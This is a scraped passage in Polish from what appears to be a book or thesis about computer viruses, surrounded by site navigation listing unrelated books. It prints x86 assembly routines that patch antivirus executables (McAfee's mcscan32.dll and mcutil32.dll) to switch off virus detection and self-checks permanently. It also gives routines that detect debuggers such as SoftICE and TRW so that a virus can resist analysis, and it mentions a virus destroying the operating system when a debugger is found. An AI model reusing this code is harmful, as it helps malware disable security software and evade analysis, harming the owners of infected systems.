- Strona pocz±tkowa
- Grisham John Testament
- Nora Roberts Niedowiarek
- MacDonald Laura Nasze marzenia duśźe i maśÂ‚e
- Deaver Jeffery John Pallam 01 Plytkie Groby
- Celmer Michelle MiśÂ‚osna gra(1)
- Żądza złota Primke Robert, Szczerepa Maciej, Szczerepa Wojciech
- Celibacy NOW Clancy Nacht &Thursday Eucl
- 00000057 Reymont ChśÂ‚opi I
- Choć‡by na kraj śÂ›wiata
- harper li ubit peresmeshnika
- zanotowane.pl
- doc.pisz.pl
- pdf.pisz.pl
- b1a4banapl.xlx.pl
[ Pobierz całość w formacie PDF ]
77
zaprezentował Z0MB1E. Działa ona na zasadzie takiej, iż przeszukuje dysk twardy w poszukiwaniu plików
wykonywalnych antywirusów, następnie otwiera je i zmienia ich kod (patchuje) na stałe. Dzięki temu
antywirus po ponownym odpaleniu się, z uwagi na wyłączone procedury sprawdzające, nie będzie sprawiał
więcej już problemów. Z0MB1E zaprezentował tą metodę na przykładzie AVP oraz MACAFE wiodących
programach antywirusowych. Poniższe procedury są procedurami przeszukującymi kod antywirusa w celu
znalezienia kodu odpowiadającego za detekcję wirusa w systemie. Na wejście tej procedury podaje się
wskaznik na bufor, który został uprzednio wypełniony zawartością pliku :
; MACAFE -- disable virus-detection
; mcscan32.dll
; B801000000 mov eax, 1 --> B8 00 ... mov eax, 0
; EB02 jmp xxxxxxxx
; 31C0 xor eax, eax
; [8987C002]0000 mov [edi+0000002C0], eax
__patch5: cmp dword ptr [esi-4], 0C03102EBh
jne __continue
cmp dword ptr [esi-8], 1
jne __continue
mov byte ptr [esi-8], 0
inc ebx
jmp __continue
; MACAFE -- disable self-check
; mcutil32.dll
; 83 C4 10 add esp, 10h
; 3B 45 F3 cmp eax, [ebp+csum]
; 74 07 je xxxxxxxx
;[C7 45 FC 01]00 00 00 mov [ebp+res], 1
__patch6: cmp dword ptr [esi-4], 0774F345h
jne __continue
cmp dword ptr [esi-8], 3B10C483h
jne __continue
cmp dword ptr [esi+3], 1
jne __continue
mov byte ptr [esi+3], 0
inc ebx
jmp __continue
Po wykonaniu tych procedur zmiany są uaktualniane w plikach wykonywalnych. I przy następnym
uruchomieniu systemu operacyjnego antywirusy stanÄ… siÄ™ nieaktywne.
" ochrona przeciw debuggerom
A tak naprawdę przeciw ludziom używających debuggerów w celu analizy i reversingu kodu wirusa. Jest to
następna z metod ochrony wirusa przeciw antywirusami, gdyż, dopóki nie jest możliwa analiza kodu wirusa,
nie zostanie dla niego napisany antywirus. Ochrona ta, jak wszystkie, jest do przejścia i działa na takiej
zasadzie, że w przypadku, gdy wirus wykryje debuggera w pamięci operacyjnej, uruchamia procedury
niszczące system operacyjny. Dzięki temu uniemożliwia analizę jego kodu.
78
Debugger jest zobligowany do przejęcia przerwań 1 i 3. Przerwania, te są wywoływane przez procesor w
sytuacji, w której wystąpi wyjątek debug lub też breakpoint. W szczególności :
" przerwanie 1 - wywoływane przez procesor, gdy wystąpi wyjątek typu debug
" przerwanie 3 breakpoint (pułapka)
Procedury obsługi tych przerwań debugger instaluje w tablicy IDT (Interrupt Descriptor Table). Jedną z
metod wykrycia debuggera, jest badanie różnicy pomiędzy punktami wejść do procedur obsługi przerwań 1
oraz 3, która w czystym systemie, bez debuggera, wynosi 10h. Oto ona :
push eax
sidt [esp-2]
pop eax
add eax,8 ;EAX = adres wektora int 1h
mov ebx, [eax] ;BX = młodsze 16 bitów adresu
add eax, 16 ;EAX = adres wektora int 3h
mov eax, [eax] ;AX = młodsze 16 bitów adresu
sub al, bl ;Oblicz różnicę adresów ;)
sub al,10h
jnz debugger_aktywny
Następną procedurą wykrywającą debuggera jest :
ring0:
push 0000004fh ; funkcja 4fh
int 20h
dd 002a002ah ; VWIN32_Int41Dispatch
cmp ax, 0f386h ;znacznik instalacji
jz debugger_aktywny
Jest to wywołanie funkcji 4Fh przerwania 41h sprawdzenie instalacji debuggera w systemie. W momencie
startu systemu, Windows 9x wywołuje funkcję tego przerwania sprawdzając czy ma się uruchomić w trybie
debuggingu czy też nie. Gdy Windows 9x uruchomi się w trybie debuggingu, wywołuje to przerwanie w
celach informacyjnych dla potrzeb debuggera. Przekazuje mu jakie moduły są ładowane do pamięci oraz
jakie sÄ… deinstalowane.
Jednym z debuggerów systemowych Windows-a 9x jest SoftICE. Poniżej przedstawiam metodę na wykrycie
tego debuggera w pamięci operacyjnej. Oto ona :
ring0:
push 41h ; numer przerwania
pop eax
db 0CDh,20h ; Get_PM_Int_Vector
dw 0044h,0001h ; zwraca adres procedury obsługującej przerwanie
cmp edx,8 ; jeśli offset = 8 to znaczy ze
je SoftICE_aktywny
jest_sice db 0
79
ring0:
db 0CDh,20h ; Get_Cur_VM_Handle
dw 0001h,0001h
mov edx, 400h
call_sice:
db 0CDh,20h ; Disable_Local_Trapping
dw 009Ah,0001h
mov esi,dword ptr [call_sice+2]
; offset DWORDa wskazujacego na adres
; Disable_Local_Trapping
mov esi,[esi] ; adres Disable_Local_Trapping
cmp word ptr [esi],015FFh ; czy pierwsze bajty procki to czesc
; instruckji call dword[..]?
jne niee_sice ; jesli nie pomin
cmp word ptr [esi+6],05751h
jne niee_sice
inc jest_sicE
niee_sice:
Następnym z debuggerów pozwalających na śledzenie kodu ring-0 jest TRW. Również dzięki niemu można
zanalizować kod wirusa, z tego też względu zamieszczam, i na jego wykrycie, procedurę anty :
jest_trw db 0
ring0:
db 0CDh,20h ; Get_Cur_VM_Handle
dw 0001h,0001h
push ebx
mov eax,000Eh ; VM_RESUME
call_trw:
db 0CDh,20h ; System_Control
dw 0093h,0001h ; po wykonaniu VxDCall-a bajty 0CDh,20h
; i numer uslugi zamieniaja sie na
; tzw. direct call-a czyli
; call dword ptr[vadres]
; (0FFh,15h,DWORD vadres)
mov esi,dword ptr [call_trw+2]
mov esi,[esi] ; vadres System_Control
cmp byte ptr [esi],0E8h ; sprawdz pierwsze bajty procki czy
; to opcode
jne niee_trw ; relatywnego call-a(0E8h,DWORD)
cmp word ptr [esi+5],025FFh ; bajty absolutnego jmp-a
; (FF,25h,DWORD vadres)
jne niee_trw
inc jest_trw
niee_trw:
80
" ochrona przeciw disassemblerom
Po infekcji wirusa w pliku wykonywalnym punkt wejścia do programu zmieniany jest na początek kodu
[ Pobierz całość w formacie PDF ]